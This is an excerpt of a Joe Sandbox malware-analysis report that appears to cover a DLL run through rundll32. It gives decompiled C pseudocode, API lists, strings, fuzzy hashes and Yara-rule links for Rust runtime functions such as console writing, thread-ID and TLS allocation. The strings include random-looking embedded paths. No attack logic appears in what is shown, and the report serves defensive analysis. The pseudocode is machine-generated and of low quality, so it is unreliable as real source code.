Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4023ed709b715fb619704c9253375d428d428b617f8c4fb179e11286a8758940
Instruction ID: 16b7cff65a3075446fa5563636985a80df112419d3c86c6eb0eb1343c40e4dff
Opcode Fuzzy Hash: 4023ed709b715fb619704c9253375d428d428b617f8c4fb179e11286a8758940
Instruction Fuzzy Hash: 10417C3114425DEFDB50AEE49C11FBE37A4AF12B42F058026EE244E312EB61DA71DB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E561BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E6E561BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6E553650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6e59f570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6e5a08cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6e5a0904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6E553650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6E562730(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6E562470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6E5799A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6e5a086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6E5794E0(_t96,  &M6E59FBBA, 0x23, _t133, _t135, __eflags, 0x6e59fc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6e59f570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6e5a08d4);
													L45:
													E6E579470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6E553650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6e5a08cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6e5a08e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6E562470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6e5a08f4);
																	_push(_t156);
																	L48:
																	E6E579AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6e5620f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6E561A7E,?), ref: 6E561C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6E561A7E,?), ref: 6E561C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6E561C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6E561CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E561D55

Strings

Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6E561E45
assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6E561E5E

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: b5008f93eb783df3dc7553d96fc7ce48510f92d469e33bfb3346a684c9e06c14
Instruction ID: b4bf282476c8b6a856f18710479aa035dc55472d5245b15ad0d7cf26679f0ed8
Opcode Fuzzy Hash: b5008f93eb783df3dc7553d96fc7ce48510f92d469e33bfb3346a684c9e06c14
Instruction Fuzzy Hash: 6471BE706083459FE710CEA5D55477A7BE5AB86308F108C2DE5DA8B3A1E731D84CCB52

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E55C4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6E563990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6e5ae108, __esi, __edi, __ebx);
				_t47 =  *0x6e5ad038; // 0x1
				_t50 =  *0x6e5ad03c; // 0x0
				_v40 = 0x6e5ae108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6e5ae108);
					_v20 = 0;
					_t22 = E6E5799A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6e59fa80);
					goto L10;
				} else {
					 *0x6e5ad038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6e5ad03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6E5794E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6e59fa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6E55C6B0(_t22,  &_v40);
						}
						return E6E55C690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6e5ae108);
						_t29 =  *0x6e5ae128; // 0x2cb0000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6E5792F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6e5ae128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

APIs

AcquireSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C509
ReleaseSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C553
GetProcessHeap.KERNEL32 ref: 6E55C562
HeapAlloc.KERNEL32(02CB0000,00000000,00000020), ref: 6E55C575
ReleaseSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C5C7

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6E55C5F7
failed to generate unique thread ID: bitspace exhausted, xrefs: 6E55C5D4

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: eaf8b21a404606d17f6284d80f2428ac123e13a43264fbcee5a9e1addf0fc5c7
Instruction ID: d0dce5ba2c6de422e7ec239997ea670e89dffb63eb902561ec7cde5083ef0ec8
Opcode Fuzzy Hash: eaf8b21a404606d17f6284d80f2428ac123e13a43264fbcee5a9e1addf0fc5c7
Instruction Fuzzy Hash: 6B31D0B0D002048BEB10DFD8CC187AE7BF4FB89328F11452AD9156F381EB759954CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E56EF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E56EF57
___except_validate_context_record.LIBVCRUNTIME ref: 6E56EF5F
_ValidateLocalCookies.LIBCMT ref: 6E56EFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6E56F013
_ValidateLocalCookies.LIBCMT ref: 6E56F068

Strings

csm, xrefs: 6E56EFFD

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6e39e9f2f2e9cc1aa31e031fe2705db0155f4c765c9d1c1680be80df252a0ec3
Instruction ID: 3d5866c95b397fe5a768fc4c9348218220330d0109b396d4b5727c38e198c821
Opcode Fuzzy Hash: 6e39e9f2f2e9cc1aa31e031fe2705db0155f4c765c9d1c1680be80df252a0ec3
Instruction Fuzzy Hash: A941A434A11119AFCF10CFA9CC80AAEBBF5BF45328F108455E915AB3A1DB31DA15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E562960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6E5AE114), ref: 6E562994
TlsAlloc.KERNEL32 ref: 6E5629AA
GetProcessHeap.KERNEL32 ref: 6E5629C4
HeapAlloc.KERNEL32(02CB0000,00000000,0000000C), ref: 6E5629DB
ReleaseSRWLockExclusive.KERNEL32(6E5AE114), ref: 6E562A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6E562A38

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: 941c66177e1ef16d3dd84b95ee26541535de2154a198d06b51e49bb29f089d74
Instruction ID: 5f0936f358385e77983cc63bea4c8036a54b1b48de56647d8a3fccf35b3edf02
Opcode Fuzzy Hash: 941c66177e1ef16d3dd84b95ee26541535de2154a198d06b51e49bb29f089d74
Instruction Fuzzy Hash: E84148B59003598FDF10CFE4C845BAEBBF4FB48318F104529D619AB390EBB59985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E5742BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6E5743C9,FFFDC801,00000400,?,00000000,00000001,?,6E574542,00000021,FlsSetValue,6E5A6BF8,6E5A6C00,?), ref: 6E57437D

Strings

api-ms-, xrefs: 6E574313
ext-ms-, xrefs: 6E574327

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1a0db5872355993542fed4eda1df65deaea51acdb9ca435c970174c96cb5d04d
Instruction ID: b74fe84c3766f2a0c3fef3d3c1093ee2961a9f7b3fa7957d9e5f44e1d697af4e
Opcode Fuzzy Hash: 1a0db5872355993542fed4eda1df65deaea51acdb9ca435c970174c96cb5d04d
Instruction Fuzzy Hash: A6210D75940625ABDF319FA9CC50A9E77ECEB43361F124510ED29A7281DF30ED62C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E56F101,6E56CFA2,6E56C7AC,?,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8,0000000C,6E56CADD), ref: 6E56F3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E56F3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E56F3F4
SetLastError.KERNEL32(00000000,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8,0000000C,6E56CADD,?,00000001,?), ref: 6E56F446

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5179660f618eb7f6debd3cbe88f235b22768057f2f509a9931cd56969b3ff93e
Instruction ID: 84b97c4e3c307c7fc7617d928398218d56713fb3757d13491072d4d441c4a2b8
Opcode Fuzzy Hash: 5179660f618eb7f6debd3cbe88f235b22768057f2f509a9931cd56969b3ff93e
Instruction Fuzzy Hash: EC01D83361DB225EAE703EF95C8456A37E8EB8737E731072AEA20441F0FF124C115690

Uniqueness

Uniqueness Score: -1.00%

Function 6E56BE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E56C510: GetTickCount64.KERNEL32 ref: 6E56C517

GetTickCount64.KERNEL32 ref: 6E56BE96
GetTickCount64.KERNEL32 ref: 6E56BEB4
GetTickCount64.KERNEL32 ref: 6E56BECD
GetTickCount64.KERNEL32 ref: 6E56BECF
GetTickCount64.KERNEL32 ref: 6E56BED6
GetTickCount64.KERNEL32 ref: 6E56BEF4

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: c8988fedfeb4f71d91eb045983448d4aa9ffc6c8290f31dac0195f90df2b0053
Instruction ID: 2646bf9e91c3133845c06cd6c197789325638f84cc78768b6151891e57c56674
Opcode Fuzzy Hash: c8988fedfeb4f71d91eb045983448d4aa9ffc6c8290f31dac0195f90df2b0053
Instruction Fuzzy Hash: D5019213C20E189DD607B979984164AA7BD5FE73E4B16C713E00637016FF9058E78291

Uniqueness

Uniqueness Score: -1.00%

Function 6E556B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E556C1B
__aulldiv.LIBCMT ref: 6E556C2B

Strings

'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E556B54
{invalid syntax}, xrefs: 6E556B84
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6E556BAA, 6E556BE5

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 7be9dd716562cb998cccc261e5e7b46907a408ee1b0ce2ae3b97d2adc79a5547
Instruction ID: bc18ac2e682dc5ec7567be0ac7aa1203f591f3116f7fa345f3e75869c0916a42
Opcode Fuzzy Hash: 7be9dd716562cb998cccc261e5e7b46907a408ee1b0ce2ae3b97d2adc79a5547
Instruction Fuzzy Hash: E8417A317183504BD7249AA8D884B7AB7D5DFC4714F10883FEA898F3D1E6B5CC6187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6E55D000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

